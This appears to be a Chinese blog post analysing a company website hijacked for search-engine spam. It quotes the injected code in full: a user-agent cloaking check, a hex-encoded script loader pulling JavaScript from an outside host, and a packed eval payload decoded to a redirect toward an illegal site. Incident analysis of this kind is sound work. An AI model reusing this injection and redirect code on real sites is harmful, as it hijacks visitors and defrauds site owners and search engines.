最近接了个外包项目,在项目过程中发现该公司官网被劫持
首先title
keywords
description
被替换成非法网站的关键词和描述,并对文字内容作了html实体编码
if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){ document.title ="xxx(北京)体育文化传播有限公司" }
此段js的作用是根据ua头来决定是否替换网站title
如果是正常用户,浏览器执行此段js,把标题替换成 “xxx(北京)体育文化传播有限公司”
如果是百度蜘蛛,则不会解析此段js,会返回非法网站的标题
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73 \x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74 \x74\x70\x3a\x2f\x2f\x35\x33\x34\x2e\x35\x39\x31\x6b\x61\x69\x2e \x6e\x65\x74\x2f\x6a\x73\x2f\x35\x33\x34\x2e\x6a\x73 \x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
此段代码也进行了编码,使用utf-8解码后发现向网页链接了一个js文件http://534.591kai.net/js/534.js
继续跟踪这个js,发现代码进行了压缩和混淆
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(36)}; if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[ function(e){return r[e]||e}];e=function(){return'[3-9abde]'}; c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e( c)+'\b','g'),k[c]);return p}('3.5("<6 LANGUAGE=\\\'Javascript\\\'>"); 3.5("var s=3.referrer");3.5("7(s.8==0 && history.8==2)");3.5("9.a=\\'b://t.d/e\\';");3.5("7(s.4(\\'.baidu.\\')> 0 || s.4(\\'.sogou.\\')>0 || s.4(\\'.soso.\\')>0 ||s.4(\\'.sm.\\')>0 ||s.4(\\'.uc.\\')> 0 ||s.4(\\'.bing.\\')>0 ||s.4(\\'.yahoo.\\')>0 ||s.4(\\'.so.\\')>0 )"); 3.5("9.a=\\'b://t.d/e\\';");3.5("</6>");',[],15,'|||docum nt|indexOf|writeln|script|if|length|location|href|http||cn|RD3JziR'.split('|'),0,{}))
直接在chrome控制台中运行一下,它向网页中插入了以下代码。
var s=document.referrer if(s.length==0 && history.length==2)location.href='http://t.cn/RD3JziR'; if(s.indexOf('.baidu.')>0 || s.indexOf('.sogou.')>0 || s.indexOf('.soso.')>0 ||s.indexOf('.sm.')>0 ||s.indexOf('.uc.')>0 ||s.indexOf('.bing.')>0 ||s.indexOf('.yahoo.')>0 || s.indexOf('.so.')>0 )location.href='http://t.cn/RD3JziR';
如果在新的浏览器的地址栏输入url,会跳转的非法网站,当前窗口再次输入url访问原网址(此行为很迷)
如果请求来自百度,搜狗等等搜索引擎,跳转到非法网站
该网站也是外包的,联系不上管理员,无法查看日志
扫描端口发现只开了80端口,真是神了…
进行旁站检测发现了50多个站点,并且其中有几个被用同样的方式劫持,旁站无疑了..